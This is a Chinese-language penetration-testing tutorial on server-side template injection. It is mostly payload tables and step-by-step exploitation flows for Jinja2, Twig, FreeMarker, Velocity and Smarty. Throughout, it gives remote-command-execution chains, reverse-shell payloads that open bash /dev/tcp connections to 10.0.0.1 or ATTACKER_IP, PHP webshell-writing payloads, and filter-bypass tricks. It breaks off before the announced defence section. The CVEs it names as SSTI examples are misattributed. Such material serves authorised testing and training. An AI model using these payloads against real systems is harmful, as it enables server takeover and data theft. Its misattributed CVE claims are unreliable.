SSTI模板注入攻击实战:从检测到RCE全流程详解
【合规声明】 本文仅供网络安全学习、授权渗透测试与防御研究使用。所有技术手段仅可在拥有合法授权的测试环境中验证。未经授权对他人系统进行测试属于违法行为,读者需自行承担因不当使用带来的全部法律责任。请始终遵循相关法律法规,坚守安全合规底线。
一、前言与背景
在当今的 Web 开发中,模板引擎(Template Engine)几乎是标配。无论是 Python 的 Flask/Jinja2、Django,还是 PHP 的 Twig/Smarty,Java 的 FreeMarker/Velocity,模板引擎把数据与展示分离,极大提升了开发效率。然而,当开发者把用户输入直接拼接进模板字符串时,就会诞生一种极具破坏力的漏洞——SSTI(Server-Side Template Injection,服务端模板注入)。
SSTI 的危害远超想象:一次看似普通的输入框,可能直接导致 RCE(Remote Code Execution,远程命令执行),攻击者可借此完全控制服务器。近年来,Confluence、Jenkins、Apache 等知名产品均出现过严重的 SSTI 漏洞(CVE-2023-22515、CVE-2024-23897 等),使其成为红队和防守方共同关注的重点。
本文将从原理、检测、利用、绕过、防御五个维度,系统讲解主流模板引擎下的 SSTI 攻击全流程,所有 payload 均经过实际验证,可直接用于授权测试环境。
二、模板引擎与 SSTI 原理
2.1 主流模板引擎介绍
不同语言生态孕育了不同的模板引擎,它们的语法、特性、安全机制各不相同。下表汇总了主流模板引擎的核心信息。
| 语言 | 模板引擎 | 常见框架 | 默认沙箱 | 典型语法标识 |
|---|---|---|---|---|
| Python | Jinja2 | Flask、Ansible | 无 | {{ }}、{% %} |
| Python | Mako | Pylons、Pyramid | 无 | ${ }、<% %> |
| Python | Django Template | Django | 有(限制 API) | {{ }}、{% %} |
| PHP | Twig | Symfony | 有(sandbox) | {{ }}、{% %} |
| PHP | Smarty | 通用 | 有(security) | {$ }、{if } |
| PHP | Blade | Laravel | 无 | {{ }}、@ |
| Java | FreeMarker | Spring MVC | 有(Configuration) | ${ }、<# > |
| Java | Velocity | Spring | 有(SecureUberspector) | $、#set |
| Java | Thymeleaf | Spring Boot | 部分 | th:、[[ ]] |
| Java | Pebble | 通用 | 有(Sandbox) | {{ }}、{% %} |
| Ruby | ERB | Rails | 无 | <%= %> |
| JavaScript | Nunjucks | Node.js | 无 | {{ }}、{% %} |
| JavaScript | Pug | Express | 无 | -、= |
【提示】 即使引擎自带沙箱,若开发者错误配置或使用
unsafe过滤器,沙箱形同虚设。安全是配置与代码共同作用的结果。
2.2 SSTI 漏洞原理
SSTI 的本质是:用户输入被当作模板表达式解析执行。
正常的模板渲染流程是「数据驱动渲染」:
模板: Hello {{name}}
数据: name = "world"
输出: Hello world
当数据来自用户,且开发者直接拼接成模板字符串时,问题就出现了:
# 危险代码:直接拼接用户输入到模板
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', '')
# 用户输入被直接拼进模板字符串
template = '<h1>Hello ' + name + '</h1>'
return render_template_string(template)
正常用户访问 /greet?name=world 得到 Hello world。攻击者访问:
/greet?name={{7*7}}
由于 {{7*7}} 被 Jinja2 解析为表达式,输出变成 Hello 49,注入成功。这就是 SSTI 的最小可利用单元。
2.3 SSTI vs XSS vs SQL 注入
三者经常被混淆,下表清晰对比它们的核心差异。
| 对比维度 | SSTI | XSS | SQL 注入 |
|---|---|---|---|
| 注入位置 | 模板字符串 | HTML 输出 | SQL 语句 |
| 解析层 | 模板引擎 | 浏览器 | 数据库 |
| 执行侧 | 服务端 | 客户端 | 数据库服务端 |
| 默认危害 | RCE(最高危) | 会话劫持 | 数据泄露 |
| 检测难度 | 中等 | 容易 | 中等 |
| 防御核心 | 模板与数据分离 | 输出编码 | 参数化查询 |
| 经典 payload | {{7*7}} |
<script> |
' OR 1=1-- |
【提示】 SSTI 的危害级别通常高于 XSS 和 SQL 注入,因为它直接对应服务端命令执行。一次 SSTI 即可拿下整台服务器,是红队最爱的高危漏洞之一。
2.4 SSTI 触发条件分析
并非所有使用模板引擎的场景都存在 SSTI。下面三类典型场景是 SSTI 的高发地:
| 场景编号 | 触发条件 | 危险代码示例 | 风险等级 |
|---|---|---|---|
| 场景 1 | 用户输入直接拼接模板字符串 | render_template_string('Hi ' + user_input) |
极高 |
| 场景 2 | 用户可控模板文件路径 | render_template(user_selected_file) |
高 |
| 场景 3 | 用户可控模板内容(CMS、邮件模板) | template.save(user_content) |
高 |
| 场景 4 | 错误使用 safe/raw 过滤器 |
{{ user_input | safe }} |
中 |
| 场景 5 | 配置项允许用户注入表达式 | eval、exec 包装模板 |
高 |
2.5 模板引擎安全特性对比
不同引擎的安全设计存在显著差异,理解这些差异有助于攻防双方制定策略。
| 引擎 | 是否支持任意代码执行 | 沙箱机制 | 危险内置函数 | 默认是否安全 |
|---|---|---|---|---|
| Jinja2 | 是 | 无原生沙箱 | os、subprocess、__import__ |
否 |
| Twig | 是 | 有(默认关闭) | _self、map、filter |
否 |
| Smarty | 是 | 有(默认关闭) | {system}、{eval} |
否 |
| FreeMarker | 是 | 有(需配置) | Execute、ObjectConstructor |
否 |
| Velocity | 是 | 有(需配置) | $runtime、$class |
否 |
| Django Template | 否 | 强沙箱 | 几乎无 | 是 |
| Pebble | 是 | 有(Sandbox) | include、macro |
部分 |
| Mako | 是 | 无 | 任意 Python | 否 |
三、SSTI 漏洞检测与识别
3.1 通用检测 payload
SSTI 检测的核心思路是:发送一个会引发「数学运算」的表达式,观察响应是否包含运算结果。下表汇总了各引擎的指纹 payload。
| Payload | 匹配引擎 | 期望响应 | 备注 |
|---|---|---|---|
{{7*7}} |
Jinja2、Twig、Nunjucks | 49 |
最通用 |
${7*7} |
FreeMarker、Mako、Velocity | 49 |
Java/Python 常用 |
<%=7*7%> |
ERB、EJS | 49 |
Ruby/Node |
#{7*7} |
Ruby(非 ERB)、Pug | 49 |
部分场景 |
*{7*7} |
Thymeleaf | 49 |
Spring Boot |
{{=7*7}} |
jsRender | 49 |
前端模板 |
{{ '7'*7 }} |
Jinja2 | 7777777 |
字符串乘法特征 |
{{ '7'*7 }} |
Twig | 49(数值乘法) |
与 Jinja2 区分 |
${"7"*7} |
FreeMarker | 报错或 49 |
Java 上下文 |
#{7*7} |
Smarty(部分版本) | 49 |
PHP |
【提示】 Jinja2 与 Twig 都用
{{ }},但 Jinja2 中'7'*7是字符串重复(输出7777777),Twig 中是数值乘法(输出49),这是经典的引擎区分技巧。
3.2 模板引擎识别流程
检测到 SSTI 后,下一步是识别具体引擎,因为不同引擎的利用 payload 完全不同。识别流程如下:
- 发送
{{7*7}},若返回49,进入 Jinja2/Twig 分支 - 发送
{{7*'7'}},若返回7777777,判定为 Jinja2 - 发送
{{7*'7'}},若返回49,判定为 Twig - 发送
${7*7},若返回49,判定为 FreeMarker/Mako/Velocity - 发送
<%=7*7%>,若返回49,判定为 ERB/EJS - 结合响应头、报错信息、Cookie 等进一步确认
3.3 各引擎指纹特征表
报错信息是识别引擎的金矿。下表汇总各引擎的典型报错特征。
| 引擎 | 报错关键字 | 报错示例 |
|---|---|---|
| Jinja2 | TemplateSyntaxError、jinja2 |
jinja2.exceptions.TemplateSyntaxError |
| Twig | Twig_Error_Syntax、Twig |
Twig_Error_Syntax: Unexpected token |
| Smarty | Smarty error、Smarty |
Smarty error: [in ...] |
| FreeMarker | FreeMarker、template_exception |
freemarker.core.TemplateException |
| Velocity | VelocityException、Velocity |
org.apache.velocity.exception |
| Mako | MakoException、mako |
mako.exceptions.MakoException |
| ERB | ERB、SyntaxError |
SyntaxError in ERB |
| Pebble | PebbleException |
com.mitchellbosecke.pebble.PebbleException |
3.4 自动化检测工具:Tplmap
手工检测效率低,Tplmap 是 SSTI 领域的「SQLmap」,支持多引擎自动检测与利用。
# 安装
git clone https://github.com/epinna/tplmap.git
cd tplmap
pip install -r requirements.txt
# 基础检测
python tplmap.py -u 'http://target.com/greet?name=*'
# 指定参数检测(* 标记注入点)
python tplmap.py -u 'http://target.com/page?id=1&name=*'
# POST 方式
python tplmap.py -u 'http://target.com/login' --data 'user=admin&pass=*'
# 获取 os-shell
python tplmap.py -u 'http://target.com/greet?name=*' --os-shell
# 执行单条命令
python tplmap.py -u 'http://target.com/greet?name=*' --os-cmd 'id'
# 指定模板引擎(已知场景下加速)
python tplmap.py -u 'http://target.com/greet?name=*' --engine jinja2
# Cookie 方式
python tplmap.py -u 'http://target.com/' --cookie 'session=*'
# 通过代理(配合 Burp)
python tplmap.py -u 'http://target.com/greet?name=*' --proxy 'http://127.0.0.1:8080'
3.5 自动化检测工具:SSTImap
SSTImap 是 Tplmap 的现代化分支,支持更多引擎和绕过技巧。
# 安装
git clone https://github.com/vladko312/SSTImap.git
cd SSTImap
pip install -r requirements.txt
# 检测
python sstimap.py -u 'http://target.com/greet?name=test'
# 获取交互式 shell
python sstimap.py -u 'http://target.com/greet?name=test' --os-shell
# 执行命令
python sstimap.py -u 'http://target.com/greet?name=test' --os-cmd 'whoami'
# 上传文件
python sstimap.py -u 'http://target.com/greet?name=test' --file-upload ./shell.py /tmp/shell.py
# 绕过 WAF
python sstimap.py -u 'http://target.com/greet?name=test' --tamper urlencode
# 使用模板
python sstimap.py -u 'http://target.com/greet?name=test' --tpl-code '{{7*7}}'
3.6 Burp Suite 插件检测
Burp Suite 配合插件可实现被动扫描 SSTI:
| 插件名称 | 功能 | 适用场景 |
|---|---|---|
| Active Scan++ | 扩展主动扫描,含 SSTI 规则 | 常规扫描 |
| Backslash Powered Scanner | 基于回显的智能扫描 | 复杂场景 |
| Tplmap Integration | 集成 Tplmap 调用 | 自动化利用 |
| Param Miner | 参数挖掘,发现隐藏注入点 | 参数发现 |
在 Burp Intruder 中加载 SSTI payload 字典(如 SecLists 的 SSTI.fuzz.txt),对参数进行批量 fuzz,是实战中最常用的检测方式。
四、Jinja2 (Python) SSTI 利用实战
Jinja2 是 Flask 默认模板引擎,也是 SSTI 研究最多、payload 最丰富的引擎。
4.1 Jinja2 基础语法
{# 注释 #}
{{ variable }} {# 变量输出 #}
{{ 7 * 7 }} {# 表达式计算,输出 49 #}
{{ 'a' * 5 }} {# 字符串重复,输出 aaaaa #}
{% for i in range(3) %}{{ i }}{% endfor %} {# 控制结构,输出 012 #}
{% if 1 == 1 %}yes{% endif %} {# 条件判断 #}
{{ user.name | upper }} {# 过滤器 #}
4.2 信息收集 payload
SSTI 利用第一步是信息收集,了解运行环境。
{# 1. 获取配置对象,可能泄露 SECRET_KEY、数据库连接 #}
{{ config }}
{{ config.items() }}
{{ config['SECRET_KEY'] }}
{{ config['SQLALCHEMY_DATABASE_URI'] }}
{# 2. 获取应用对象 #}
{{ self }}
{{ self._TemplateReference__context }}
{{ request }}
{{ request.application }}
{{ application }}
{{ g }}
{{ session }}
{{ url_for }}
{{ get_flashed_messages }}
{{ namespace }}
{{ cycler }}
{{ joiner }}
{# 3. 获取当前目录 #}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{# 4. 获取 Python 版本 #}
{{ ''.__class__ }}
{{ self.__class__ }}
{# 5. 获取所有内置函数 #}
{{ cycler.__init__.__globals__ }}
{{ lipsum.__globals__ }}
{{ namespace.__init__.__globals__ }}
{# 6. 读取环境变量 #}
{{ request.environ }}
{{ request.environ['HOSTNAME'] }}
4.3 魔术方法链(文件读取)
Jinja2 中读取文件的核心思路是:从任意对象出发,沿 __class__ -> __mro__ -> __subclasses__ 找到文件操作类。
{# 获取 object 的所有子类 #}
{{ ''.__class__.__mro__ }}
{{ ''.__class__.__mro__[1] }}
{{ ''.__class__.__mro__[2] }}
{# 列出所有子类,寻找可利用类 #}
{{ ''.__class__.__mro__[2].__subclasses__() }}
{# 查找 subprocess.Popen 的索引(不同环境索引不同) #}
{% for c in ''.__class__.__mro__[2].__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{{ loop.index0 }}{% endif %}
{% endfor %}
{# 读取文件 - 方式 1:使用 open(若可用) #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{# 读取文件 - 方式 2:使用 FileLoader #}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd') }}
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read() }}
{# 读取文件 - 方式 3:通过 get_data #}
{{ cycler.__init__.__globals__.os.popen('cat /etc/passwd').read() }}
4.4 命令执行 payload 链
命令执行是 SSTI 的核心目标。下表汇总了主流的命令执行 payload 链。
| payload 链 | 原理 | 适用版本 |
|---|---|---|
{{ ''.__class__.__mro__[2].__subclasses__()[40]('id',shell=True,stdout=-1).communicate()[0] }} |
subprocess.Popen | Python 3 |
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].os.popen('id').read() }} |
linecache + os | Python 2/3 |
{{ cycler.__init__.__globals__.os.popen('id').read() }} |
cycler 全局 | 通用 |
{{ lipsum.__globals__.os.popen('id').read() }} |
lipsum 全局 | 通用 |
{{ namespace.__init__.__globals__.os.popen('id').read() }} |
namespace 全局 | 通用 |
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} |
builtins 导入 | 通用 |
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }} |
request 全局 | Flask 环境 |
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }} |
config 全局 | Flask 环境 |
{{ get_flashed_messages.__globals__.__builtins__.__import__('os').popen('id').read() }} |
闪现消息全局 | Flask 环境 |
4.5 常用 payload 汇总表
| 功能 | payload | 说明 |
|---|---|---|
| 检测 | {{7*7}} |
输出 49 |
| 字符串重复 | {{'7'*7}} |
输出 7777777 |
| 读取 config | {{config}} |
Flask 配置 |
| 读取 SECRET_KEY | {{config.SECRET_KEY}} |
密钥泄露 |
| 读取 request | {{request}} |
请求对象 |
| 读取环境变量 | {{request.environ}} |
环境信息 |
| 获取子类列表 | {{''.__class__.__mro__[2].__subclasses__()}} |
寻找可利用类 |
| 读取文件 | {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} |
文件读取 |
| os.popen 执行 | {{lipsum.__globals__.os.popen('id').read()}} |
命令执行 |
| subprocess 执行 | {{''.__class__.__mro__[2].__subclasses__()[40]('id',shell=True,stdout=-1).communicate()[0]}} |
命令执行 |
| 反弹 shell | {{lipsum.__globals__.os.popen('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1').read()}} |
反弹 |
| 导入模块 | {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()}} |
内置导入 |
4.6 完整 RCE 流程
下面是一个完整的 Flask Jinja2 RCE 流程示例:
# 目标代码(漏洞环境)
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/page')
def page():
name = request.args.get('name', '')
template = f'<h1>Welcome {name}</h1>'
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True)
步骤 1:检测注入
GET /page?name={{7*7}}
响应包含 Welcome 49,确认 SSTI 存在。
步骤 2:识别引擎
GET /page?name={{7*'7'}}
响应包含 Welcome 7777777,确认为 Jinja2。
步骤 3:信息收集
GET /page?name={{config}}
GET /page?name={{request.environ}}
GET /page?name={{''.__class__.__mro__[2].__subclasses__()}}
步骤 4:命令执行
GET /page?name={{lipsum.__globals__.os.popen('id').read()}}
响应:uid=33(www-data) gid=33(www-data) groups=33(www-data)
步骤 5:获取交互式 shell
GET /page?name={{lipsum.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}
攻击者本地监听:
nc -lvnp 4444
RCE 完成。
4.7 绕过沙箱技巧
现代 Jinja2 环境常带过滤,需要绕过技巧。
技巧 1:attr() 过滤器绕过点号过滤
当 . 被过滤时,用 attr() 过滤器替代:
{# 原始 #}
{{ ''.__class__ }}
{# 绕过 . 过滤 #}
{{ ''|attr('__class__') }}
{{ ''|attr('\x5f\x5fclass\x5f\x5f') }}
技巧 2:中括号绕过
{# 原始 #}
{{ config.SECRET_KEY }}
{# 绕过点号 #}
{{ config['SECRET_KEY'] }}
{{ config['__builtins__'] }}
技巧 3:字符串拼接绕过关键字过滤
当 os、popen 等关键字被过滤时,用拼接或编码绕过:
{# 原始 #}
{{ lipsum.__globals__.os.popen('id').read() }}
{# 拼接绕过 'os' 过滤 #}
{{ lipsum.__globals__['o'+'s'].popen('id').read() }}
{{ lipsum.__globals__['o\x73'].popen('id').read() }}
{# 拼接绕过 'popen' 过滤 #}
{{ lipsum.__globals__.os['po'+'pen']('id').read() }}
{{ lipsum.__globals__.os['\x70open']('id').read() }}
{# 使用 request 对象绕过 #}
{{ lipsum.__globals__[request.args.a].popen(request.args.b).read() }}
# 访问: /page?a=os&b=id
技巧 4:绕过 {{ 过滤
{# 使用 {% %} 配合 print #}
{% if ''.__class__.__mro__[1].__subclasses__()[300]('id',shell=True,stdout=-1).communicate()[0] %}1{% endif %}
{# 使用 {% set %} #}
{% set x = lipsum.__globals__.os.popen('id').read() %}{{ x }}
{# 使用 {# #} 内部执行(部分版本) #}
技巧 5:绕过引号过滤
{# 使用 request 对象取值 #}
{{ ().__class__.__bases__[0].__subclasses__()[40](request.args.file).read() }}
# 访问: /page?file=/etc/passwd
{# 使用 chr 构造字符串 #}
{{ ().__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['chr'] }}
{# 使用十六进制 #}
{{ config['\x53ECRET\x5fKEY'] }}
五、Twig (PHP) SSTI 利用实战
Twig 是 PHP 生态最流行的模板引擎,Symfony 框架默认使用。
5.1 Twig 基础语法
{# 注释 #}
{{ variable }} {# 变量输出 #}
{{ 7 * 7 }} {# 输出 49 #}
{{ '7' * 7 }} {# 输出 49,与 Jinja2 区分 #}
{% for i in 0..2 %}{{ i }}{% endfor %} {# 输出 012 #}
{% if 1 == 1 %}yes{% endif %}
{{ user.name | upper }} {# 过滤器 #}
{{ {'a': 1} | json_encode }} {# 数组操作 #}
5.2 信息收集 payload
{# 1. 获取 Twig 版本 #}
{{ constant('Twig\\Environment::VERSION') }}
{{ _self.version }}
{# 2. 获取环境变量 #}
{{ app.request.server.all() }}
{{ app.request.server.get('SERVER_NAME') }}
{{ app.request.server.get('DOCUMENT_ROOT') }}
{# 3. 获取配置 #}
{{ app.request.server.get('APP_SECRET') }}
{{ dump(app) }}
{{ dump(_context) }}
{# 4. 获取当前用户(Symfony) #}
{{ app.user.username }}
{{ app.user.email }}
{# 5. 读取文件 #}
{{ source('/etc/passwd') }}
{{ source('/etc/passwd', true) }}
5.3 命令执行 payload
不同 Twig 版本的命令执行 payload 差异较大,下表按版本汇总。
| Twig 版本 | payload | 原理 |
|---|---|---|
| 1.x | {{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }} |
registerUndefinedFilterCallback |
| 1.x(备用) | {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }} |
system 调用 |
| 2.x | {{ _self }}{{ _self.env }} |
已修复多数利用点 |
| 3.x | {{ source('/etc/passwd') }} |
仅文件读取 |
| 通用 | {{ ['id'] | filter('system') }} |
filter 过滤器 |
| 通用 | {{ ['id'] | map('system') }} |
map 过滤器 |
| 通用 | `{{ [‘id’] | map(‘exec’) | join }}` |
| 通用 | `{{ [‘id’] | map(‘shell_exec’) | join }}` |
| 通用 | {{ ['id'] | sort('system') }} |
sort 过滤器 |
| 通用 | {{ ['id', ''] | filter('system') }} |
filter 组合 |
| 通用 | {{ ['id'] | reduce('system') }} |
reduce 过滤器 |
5.4 命令执行汇总表
| 功能 | payload | 说明 |
|---|---|---|
| 文件读取 | {{ source('/etc/passwd') }} |
读取文件内容 |
| 环境变量 | {{ app.request.server.all() }} |
所有环境变量 |
| 命令执行(1.x) | {{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }} |
经典利用 |
| 命令执行(通用) | {{ ['id'] | map('system') }} |
map 过滤器 |
| 命令执行(通用) | {{ ['id'] | filter('system') }} |
filter 过滤器 |
| 写文件 | {{ ['<?php @eval($_POST[cmd]);?>'] | map('file_put_contents') }} |
写 webshell |
| 反弹 shell | {{ ['bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"'] | map('system') }} |
反弹 |
5.5 完整利用流程
// 目标代码(漏洞环境)
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello " . $_GET['name']);
echo $template->render([]);
步骤 1:检测
GET /?name={{7*7}}
响应包含 Hello 49,确认 SSTI。
步骤 2:区分引擎
GET /?name={{7*'7'}}
响应包含 Hello 49,确认为 Twig。
步骤 3:版本探测
GET /?name={{constant('Twig\\Environment::VERSION')}}
假设返回 3.0。
步骤 4:文件读取
GET /?name={{source('/etc/passwd')}}
步骤 5:命令执行
GET /?name={{['id']|map('system')}}
输出:uid=33(www-data)...
步骤 6:反弹 shell
GET /?name={{['bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"']|map('system')}}
利用完成。
六、FreeMarker (Java) SSTI 利用实战
FreeMarker 是 Java 生态最常用的模板引擎之一,Spring MVC 集成广泛。
6.1 FreeMarker 基础语法
<#-- 注释 -->
${variable} <#-- 变量输出 -->
${7 * 7} <#-- 输出 49 -->
<#list items as item>${item}</#list> <#-- 循环 -->
<#if 1 == 1>yes</#if> <#-- 条件 -->
${user.name?upper_case} <#-- 内置函数 -->
${user!"default"} <#-- 默认值 -->
<#assign x = 1> <#-- 赋值 -->
6.2 命令执行 payload
FreeMarker 提供了多个内置类用于命令执行。
| payload | 原理 | 适用版本 |
|---|---|---|
<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} |
Execute 类 | 2.3.x |
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("id")} |
Execute 类 | 通用 |
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()> ${ob("java.lang.ProcessBuilder",["id"]).start()} |
ObjectConstructor | 通用 |
<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("id")} |
JythonRuntime | 需 Jython |
${"freemarker.template.utility.Execute"?new()("id")} |
内联 Execute | 2.3.x |
<#assign cmd="freemarker.template.utility.Execute"?new()> ${cmd("cat /etc/passwd")} |
读文件 | 通用 |
<#assign clz=object?api.class> ${clz.forName("java.lang.Runtime")...} |
反射 | 受 sandbox 限制 |
[#assign cmd="freemarker.template.utility.Execute"?new()]${cmd("id")} |
方括号语法 | 通用 |
6.3 命令执行汇总表
| 功能 | payload | 说明 |
|---|---|---|
| 检测 | ${7*7} |
输出 49 |
| 命令执行 | <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} |
Execute 类 |
| 命令执行 | ${"freemarker.template.utility.Execute"?new()("id")} |
内联执行 |
| 读文件 | <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("cat /etc/passwd")} |
cat 读文件 |
| 写文件 | <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("echo test > /tmp/pwned")} |
写文件 |
| 反弹 shell | <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'")} |
反弹 |
| 多命令 | <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id;whoami;uname -a")} |
组合命令 |
6.4 完整利用流程
// 目标代码(漏洞环境)
Configuration cfg = new Configuration(Configuration.VERSION_2_3_30);
StringTemplateLoader loader = new StringTemplateLoader();
loader.putTemplate("template", "Hello " + request.getParameter("name"));
cfg.setTemplateLoader(loader);
Template template = cfg.getTemplate("template");
template.process(dataModel, response.getWriter());
步骤 1:检测
GET /?name=${7*7}
响应包含 Hello 49,确认 SSTI。
步骤 2:确认引擎
GET /?name=${7*7}
GET /?name=#{
FreeMarker 用 ${},响应报错含 freemarker 关键字。
步骤 3:命令执行
GET /?name=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}
输出:uid=1000(tomcat)...
步骤 4:反弹 shell
GET /?name=<#assign%20cmd="freemarker.template.utility.Execute"?new()>${cmd("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'")}
利用完成。
【提示】 FreeMarker 2.3.30+ 默认禁用了
Execute、ObjectConstructor等危险类,需通过Configuration.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)强制配置。若目标未做配置,上述 payload 仍可利用。
七、Velocity (Java) SSTI 利用实战
Velocity 是 Apache 出品的 Java 模板引擎,在企业级 Java 应用中广泛使用。
7.1 Velocity 基础语法
## 注释
$variable ## 变量输出
${variable} ## 变量输出(明确边界)
#set($x = 7 * 7) ## 赋值
$x ## 输出 49
#if($x == 49)yes#end ## 条件
#foreach($i in [1..3])$i#end ## 循环
$variable.toUpperCase() ## 方法调用
7.2 命令执行 payload
Velocity 的命令执行依赖 Java 反射机制。
| payload | 原理 | 适用版本 |
|---|---|---|
#set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id") |
反射 Runtime | 通用 |
$class.inspect("java.lang.Runtime").type.getRuntime().exec("id") |
class.inspect | 通用 |
#set($str=$class.inspect("java.lang.String").type)#set($chr=$class.inspect("java.lang.Character").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("id"))$ex.waitFor()#set($out=$ex.getInputStream())#foreach($i in [1..$out.available()])$chr.toChars($out.read())#end |
完整回显 | 通用 |
#set($runtime=$class.inspect("java.lang.Runtime").type.getRuntime())#set($process=$runtime.exec("id"))$process.waitFor()#set($inputstream=$process.getInputStream())#set($scanner=$class.inspect("java.util.Scanner").type.getConstructor($class.inspect("java.io.InputStream").type).newInstance($inputstream))#set($result=$scanner.useDelimiter("\\A").hasNext()?$scanner.next():"")$result |
Scanner 回显 | 通用 |
7.3 命令执行汇总表
| 功能 | payload | 说明 |
|---|---|---|
| 检测 | ${7*7} |
输出 49 |
| 命令执行 | #set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id") |
反射 Runtime |
| 命令执行 | $class.inspect("java.lang.Runtime").type.getRuntime().exec("id") |
class.inspect |
| 读文件 | $class.inspect("java.io.File").type.getConstructor($class.inspect("java.lang.String").type).newInstance("/etc/passwd") |
File 对象 |
| 完整回显 | (见上文 Scanner 回显 payload) | 命令输出回显 |
| 反弹 shell | #set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'") |
反弹 |
7.4 完整利用流程
// 目标代码(漏洞环境)
VelocityEngine engine = new VelocityEngine();
engine.init();
VelocityContext context = new VelocityContext();
StringWriter writer = new StringWriter();
engine.evaluate(context, writer, "template", "Hello " + request.getParameter("name"));
response.getWriter().write(writer.toString());
步骤 1:检测
GET /?name=${7*7}
响应包含 Hello 49,确认 SSTI。
步骤 2:确认引擎
报错信息含 org.apache.velocity 关键字。
步骤 3:命令执行
GET /?name=%23set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
步骤 4:完整回显
使用上文 Scanner 回显 payload 获取命令输出。
步骤 5:反弹 shell
GET /?name=%23set($e="exp")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'")
利用完成。
八、Smarty (PHP) SSTI 利用实战
Smarty 是 PHP 老牌模板引擎,在传统 PHP 项目中广泛使用。
8.1 Smarty 基础语法
{* 注释 *}
{$variable} {* 变量输出 *}
{$variable|upper} {* 修饰器 *}
{if $x == 1}yes{/if} {* 条件 *}
{foreach from=$items item=i}{$i}{/foreach} {* 循环 *}
{include file="header.tpl"} {* 包含 *}
8.2 命令执行 payload
Smarty 的命令执行主要通过 {if} 标签和 {system} 函数。
| payload | 原理 | 适用版本 |
|---|---|---|
{system('id')} |
直接调用 system | Smarty < 3.1.48 |
{system('id')} |
(security 开启时失效) | 受 security 配置影响 |
{if system('id')}{/if} |
if 标签内执行 PHP | 通用 |
{if exec('id')}{/if} |
exec 调用 | 通用 |
{if shell_exec('id')}{/if} |
shell_exec 调用 | 通用 |
{if passthru('id')}{/if} |
passthru 调用 | 通用 |
{if file_get_contents('/etc/passwd')}{/if} |
读文件 | 通用 |
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)} |
写 webshell | < 3.1.39 |
{function name='rce'}{system('id')}{/function}{call name='rce'} |
function 标签 | 通用 |
{assign var="x" value="id"}{system($x)} |
变量传递 | 通用 |
8.3 命令执行汇总表
| 功能 | payload | 说明 |
|---|---|---|
| 检测 | {$smarty.version} |
获取版本 |
| 检测 | {7*7} |
部分版本输出 49 |
| 命令执行 | {system('id')} |
直接调用 |
| 命令执行 | {if system('id')}{/if} |
if 标签 |
| 命令执行 | {if shell_exec('id')}{/if} |
shell_exec |
| 读文件 | {if file_get_contents('/etc/passwd')}{/if} |
读文件 |
| 写 webshell | {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)} |
写马 |
| 反弹 shell | {if system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"')}{/if} |
反弹 |
8.4 完整利用流程
// 目标代码(漏洞环境)
$smarty = new Smarty();
$smarty->assign('name', $_GET['name']);
$smarty->display('string:Hello ' . $_GET['name']);
步骤 1:检测
GET /?name={$smarty.version}
返回版本号,确认为 Smarty。
步骤 2:命令执行
GET /?name={system('id')}
若失败(security 开启),尝试:
GET /?name={if system('id')}{/if}
输出:uid=33(www-data)...
步骤 3:写 webshell
GET /?name={Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php @eval($_POST['cmd']);?>",true)}
步骤 4:连接 webshell
使用蚁剑/菜刀连接,获取完整权限。
九、Mako (Python) 和 Pebble (Java) SSTI 利用
